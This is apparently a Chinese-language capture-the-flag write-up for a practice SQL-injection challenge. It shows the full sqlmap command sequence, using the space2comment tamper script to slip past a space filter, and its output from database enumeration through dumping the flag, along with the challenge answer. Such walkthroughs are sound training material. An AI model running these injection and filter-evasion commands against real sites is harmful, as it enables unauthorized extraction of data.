Sqlmap初学 实验吧 简单的SQL 注入二

http://ctf5.shiyanbar.com/web/index_2.php

一开始我们简单的来一下输入 1'

提示 语法错误 但并没有过滤 ' 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to usenear ''1''' at line

过滤了空格

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment --dbs


得到结果

available databases [3]:

[*] information_schema

[*] test

[*] web1


很明显。。这是跟第一题一样样的

next

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 --table


结果如下

Database: web1

[2 tables]

+-------+

| flag  |

| web_1 |

+-------+


next 

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag --columns


Database: web1

Table: flag

[2 columns]

+--------+----------+

| Column | Type    |

+--------+----------+

| flag  | char(30) |

| id    | int(4)  |


我们指定显示flag的字段内容

sqlmap.py -u http://ctf5.shiyanbar.com/web/index_2.php?id=1 --tamper space2comment -D web1 -T flag -C flag --dump

Database: web1

Table: flag

[1 entry]

+----------------------------+

| flag                      |

+----------------------------+

| flag{Y0u_@r3_5O_dAmn_90Od} |

+----------------------------+


总结

在这里面用到的方法内容都差不多

只要多用tamper的脚本多尝试就可以了

你可能感兴趣的:(Sqlmap初学 实验吧 简单的SQL 注入二)